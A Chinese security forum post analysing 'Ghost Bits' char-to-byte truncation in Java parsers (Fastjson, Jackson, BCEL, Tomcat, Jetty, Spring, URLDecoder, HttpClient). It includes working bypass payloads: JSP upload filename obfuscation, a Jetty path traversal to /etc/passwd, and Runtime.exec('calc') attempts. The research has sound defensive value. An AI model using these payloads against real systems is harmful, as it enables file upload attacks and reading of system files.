找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

5088

积分

0

好友

692

主题
发表于 昨天 23:30 | 查看: 6| 回复: 0

一、 Fastjson \x4_ 绕过技巧

熟悉 Fastjson 的人都接触过下面这种绕过 payload:

{"\x40type":"java.awt.Rectangle"}

它的核心解析机制是构造一个 new int[103] 数组,只在 0-9A-Fa-f 这些 ASCII 码对应的位置上存放对应的十六进制数值。

digits数组初始化代码

由于未占用的索引位置默认值都是 int 类型的 0,所以 \x40 的解析过程实际上等价于:

digits[4]*16 + digits[0] = 0x40

既然如此,第二个字符其实完全没必要规规矩矩地填 0——随便换一个非十六进制字符(比如 J)结果也一样:

digits[4]*16 + digits[(int)'J'] = 0x40

实际效果就像下图展示的那样。

switch分支验证逻辑

多payload绕过测试

二、 Fastjson \u0040 绕过方式

Fastjson 支持的另一种绕过 payload 长这样:

{"\u0040type":"java.awt.Rectangle"}

对应的解析步骤如下图所示。

Unicode解析流程

继续向下跟进,能看到这里在尝试把字符转成合法的整数值。

字符串转数字逻辑

Character.digit 顾名思义就是用来抓取十六进制字符的数值:

Character.digit('A', 16); // 10
Character.digit('f', 16); // 15
Character.digit('9', 16); // 9
Character.digit('G', 16); // -1(G不是16进制字符)
Character.digit('z', 16); // -1

但最终底层采用了一套非常“取巧”的算法。

digit函数实现

因为传进来的参数是 char 类型,而 char0-65535 范围内,存在大量字符刚好能“伪装”成合法的十六进制字符。

遍历hexMap键集

最终的绕过效果是这样。

Unicode绕过效果

三、 Jackson \u0040 绕过

Jackson 同样能处理 \u0040 形式的输入,但它的解析逻辑和 Fastjson 截然不同,属于非常“标准”的 Ghost Bits 场景。

{"\u006b\u0065\u0079":"\u0076\u0061\u006c\u0075\u0065"}

调用栈会走到 ReaderBasedJsonParser._decodeEscaped()

Jackson _decodeEscaped代码

继续跟进 CharTypes.charToHex(int) line: 272

charToHex方法

注意这里直接用 ch & 0xFF,这是典型的 Ghost Bits 写法:如果 ch 属于 char 范围(0-65535),高位会被直接砍掉,强行降级成 byte 范围。原理可以用 Python 的交互式运行结果来直观感受一下:

hex运算示例

我们可以特意挑选中文范围的字符来构造 Ghost Bits,最终效果如下。

Jackson绕过效果

不过 Jackson 在实际利用时会受限于运行环境。ch 的值来自 _inputBuffer,本地测试走 ReaderBasedJsonParser 时,_inputBufferchar[],完全可以利用。

ReaderBasedJsonParser字段

可一旦打 Spring Boot,默认会使用 UTF8StreamJsonParser,此时 _inputBuffer 变成了 byte[],这个招数就失灵了。

UTF8StreamJsonParser字段

不过,换个角度,也许你已经有别的思路了,不是吗?

四、 BCEL 利用 Ghost Bits

还记得 com.sun.org.apache.bcel.internal.util.ClassLoader 吗?它支持以 $$BCEL$$ 开头的字符串型 classloader。原理说白了就是把 gzip 压缩后的 class byte[] 用特定格式包裹起来,并在其中穿插大量 $ 符号。来看解析代码。

decode方法

ByteArrayOutputStream.write 正是 Ghost Bits 的另一大常见来源——它在内部直接把 char 强转成 byte,高位就无声无息地“蒸发”了。

write方法

所以只要把 gzip 压缩后的 class byte[] 整体“翻译”成中文,就能得到下面这种效果。

BCEL绕过效果

五、 Tomcat 文件上传绕过

搞过 Tomcat 文件上传绕过的同学,对下面这种操作肯定不陌生:

POST /upload/img HTTP/1.1
Host: 127.0.0.1:9999
Content-Length: 185
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycCYhwj56XpogMIa0

------WebKitFormBoundarycCYhwj56XpogMIa0
Content-Disposition: form-data; name="file";filename*="UTF-8''1.jsp"
Content-Type: image/png

test
------WebKitFormBoundarycCYhwj56XpogMIa0--

跟进 org.apache.tomcat.util.http.fileupload.util.mime.RFC2231Utility.fromHex(String) line: 137

fromHex方法及调用栈

这里同样使用了 ByteArrayOutputStream.write,更妙的是还支持 URL 编码(比如 1.%6asp)。其算法是 ch & 0x7F,相当于双重 Ghost Bits 叠加:

filename*="UTF-8''1.jsp"
filename*="UTF-8''1.%6asp"
filename*="UTF-8''1.%鸶繡sp"
filename*="UTF-8''1.汪癳絰"

上传成功截图1

上传成功截图2

同理,当 allowCasualMultipartParsing 开启时,可以利用这个思路隐藏参数名(值无法隐藏),在 CVE-2022-22965 中就能见到它的身影。

printPost请求

Spring Boot 是否也能沿用这个思路呢?答案是不行,这里有额外的校验逻辑。

org.springframework.http.ContentDisposition.decodeFilename(String, Charset) line: 475

decodeFilename方法

六、 URLDecoder 绕过

JDK 自带的 URLDecoder.decode 同样存在任由 char 替代 hex 字符的问题,原理和 Fastjson 的 \u0040 绕过如出一辙。

URLDecoder代码

最终效果。

URLDecoder bypass效果

七、 Jetty URLDecoder 绕过

在一些 Jetty 组件的历史绕过漏洞中,为什么可以用 %2> 代替 %2e 呢?

根源就藏在 org.eclipse.jetty.util.URIUtil.decodePath 方法里。跟进 TypeUtil.parseInt(String, int, int, int) line: 281

parseInt方法

char c 继续传入 TypeUtil.convertHexDigit(int) line: 373

convertHexDigit方法

又是一副“取巧”算法的老面孔。能被用来顶替的字符如下所示。

Jetty hexMap遍历结果

在可见字符范围内,特征非常明显:

9=@
9=`
a=:
b=;
c=<
d==
e=>
f=?

八、 Jetty + Spring Boot 实战绕过

可以去看看 P 牛第一时间搭建的靶场,非常贴近真实环境。如果直接访问类似 /阮严灵丰丰甲来/ 的路径,会发生什么?

StringUtils.uriDecode(String, Charset) line: 804

uriDecode方法

它会对路径中 /a/b/cabc 依次进行解码,而 baos.write(ch) 就存在 Ghost Bits 问题。不过要生效,changed 标志位必须为 true,否则直接原样返回 source。理论上真正的 payload 应该是这样的:

/%2e严灵丰丰甲来/

它等同于:

/.%u002e/

如果单独使用下面这种形式,是不会触发 Ghost Bits 的。

/阮严灵丰丰甲来/

但注意后面还有一次针对整个 /a/b/c 的总解码。

总体解码逻辑

因此 URL 编码只要有一处就够了,这也是原本 payload 结尾必须用 %64 的原因——当然,加密在别的位置同样可行。

/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64

解码完成后进入 PathResource.resolve(String) line: 286

resolve方法

这里存在 normalizePath 检测,直接构造 ../ 是行不通的。这也是非要利用“严灵丰丰甲来”产生 %u002e 的原因。

addPath 执行时会走到 URIUtil.encodePathSafeEncoding(String) line: 1481,在这一步把 %u002e 处理成 %2e

encodePathSafeEncoding方法

addPath后resolvedUri

额外提一句:常规情况下 new File("./.%2E/windows/win.ini") 是无法正常工作的,但这里偏偏用了 URI,而它恰好能正确识别 %2E

URI绕过示例

整个完整流转大致可归纳为:

/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64
/.%u002e/.%u002e/.%u002e/etc/passwd
/.%2e/.%2e/.%2e/etc/passwd
/../../../etc/passwd

那么,URIUtil.encodePathSafeEncoding 在处理 %u002e 时,自身有没有 Ghost Bits 风险呢?遗憾的是,前面有 TypeUtil.isHex 的检查,导致无法进行二次变形。

isHex校验

九、 HttpClient CRLF 注入

还记得 JSP 挑战 吗?HttpClient 的 CRLF 漏洞同样离不开 Ghost Bits 的“帮忙”。

HttpClient CRLF效果

原理直截了当。

ByteArrayBuffer.append(char[], int, int) line: 139

ByteArrayBuffer代码

最典型的 char 强转 byte,高位直接丢失,为注入埋下了伏笔。

十、 更多延伸与验证

Ghost Bits 最容易出现在类似 \u0040 这类 Unicode 解码的地方。顺着这个思路,还能不能找到其他目标呢?

Nashorn? 看起来像是能搞:

payload1 = "\\u006aava.lang.Runtime.getRuntime().exec('calc')";

但是发现 jdk.nashorn.internal.parser.Lexer.convertDigit() 内部做了严格限制,堵死了这条路。

nashorn convertDigit

JSP 方面又如何?

<%u0052u0075u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0063\u0061\u006c\u0063\u0022\u0029\u003b%>

org.eclipse.jdt.internal.compiler.parser.Scanner.getHexadecimalValue() 里面同样有校验,想粗暴绕过也不容易。

Scanner getHexadecimalValue

以上这些实战案例和源码级分析,在云栈社区的安全板块里也经常被反复讨论,毕竟不同的解析器在字符处理上的一点点偷懒,往往就是攻击者眼中最美的“后门”。

当然,安全性从来不是某一个框架的问题,而是整个 Java 生态里需要共同面对的话题。如果感兴趣,也可以去云栈社区看看更多相关讨论。




上一篇:嵌入式工程师没前途?2025年行业趋势与破局方向
下一篇:Ghost Bits攻击技术解析:利用Java Char/Byte转换绕WAF
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-5-2 02:14 , Processed in 0.974492 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表